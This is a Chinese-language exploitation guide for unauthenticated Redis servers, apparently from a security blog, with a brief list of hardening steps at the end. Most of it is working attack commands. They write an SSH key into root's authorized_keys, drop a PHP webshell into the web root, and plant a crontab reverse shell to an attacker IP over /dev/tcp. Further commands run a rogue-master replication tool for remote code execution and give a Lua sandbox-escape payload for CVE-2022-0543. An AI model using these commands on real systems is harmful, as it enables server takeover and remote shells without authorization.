Redis未授权访问利用合集
字数 806 2025-08-12 11:33:52
Redis未授权访问漏洞利用完全指南
漏洞概述
Redis未授权访问漏洞是指Redis服务默认绑定在0.0.0.0:6379,当未设置访问限制和认证密码时,攻击者可以直接访问Redis服务,执行任意操作。该漏洞危害极大,可能导致服务器被完全控制。
漏洞利用场景
- SSH公钥登录 - 写入SSH公钥实现免密登录
- Webshell写入 - 在Web目录写入恶意脚本
- 定时任务反弹Shell - 通过crontab获取反向连接
- 主从复制RCE - Redis 4.x/5.x版本的主从复制命令执行
- CVE-2022-0543沙盒逃逸 - Lua沙盒逃逸执行任意命令
环境搭建
# 下载并编译Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
make
# 安装到系统目录
cd src
cp redis-server redis-cli /usr/bin/
cp ../redis.conf /etc/
# 配置Redis
vim /etc/redis.conf
# 注释掉bind 127.0.0.1或改为bind 0.0.0.0
# 设置protected-mode no
# 保存配置
# 启动Redis
redis-server /etc/redis.conf
# 关闭防火墙
systemctl stop firewalld
漏洞利用方法
1. SSH公钥登录
前提条件:
- Redis以root权限运行
- 服务器开放SSH服务
利用步骤:
# 生成SSH密钥对
ssh-keygen -t rsa
# 格式化公钥(添加两个换行)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub) > test.txt
# 将公钥写入Redis
cat test.txt | redis-cli -h 目标IP -x set crack
# 连接Redis
redis-cli -h 目标IP
# 设置备份目录为/root/.ssh
config set dir /root/.ssh
# 设置备份文件名为authorized_keys
config set dbfilename authorized_keys
# 保存
save
# 使用私钥SSH登录
ssh -i /root/.ssh/id_rsa root@目标IP
2. Webshell写入
前提条件:
- 知道Web目录绝对路径
- Redis有写入权限
利用步骤:
# 连接Redis
redis-cli -h 目标IP
# 设置备份目录为Web目录
config set dir /var/www/html/
# 设置备份文件名为shell.php
config set dbfilename shell.php
# 写入PHP代码
set shell "<?php phpinfo();?>"
# 保存
save
3. 定时任务反弹Shell
利用步骤:
# 连接Redis
redis-cli -h 目标IP
# 设置备份目录为cron目录
config set dir /var/spool/cron/
# 设置备份文件名为root
config set dbfilename root
# 写入定时任务(每分钟执行一次反弹)
set xx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者IP/4444 0>&1\n\n"
# 保存
save
4. 主从复制RCE(Redis 4.x/5.x)
利用步骤:
# 下载利用工具
git clone https://github.com/n0b0dyCN/redis-rogue-server
# 编译exp
cd RedisModulesSDK/exp/
make
# 执行攻击
python redis-rogue-server.py --rhost 目标IP --lhost 攻击者IP --lport 4444
5. CVE-2022-0543沙盒逃逸
影响版本:
- 2.2 <= redis < 5.0.13
- 2.2 <= redis < 6.0.15
- 2.2 <= redis < 6.2.5
利用方法:
# 连接Redis后执行
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("touch /tmp/redistest", "r"); local res = f:read("*a"); f:close(); return res' 0
防御措施
- 设置强密码:在redis.conf中配置
requirepass选项 - 绑定IP:设置
bind 127.0.0.1或指定可信IP - 启用保护模式:
protected-mode yes - 修改默认端口:更改6379为非常用端口
- 限制访问:通过防火墙限制访问来源
- 降权运行:不以root权限运行Redis
- 及时更新:修复已知漏洞版本
总结
Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,并定期检查安全配置。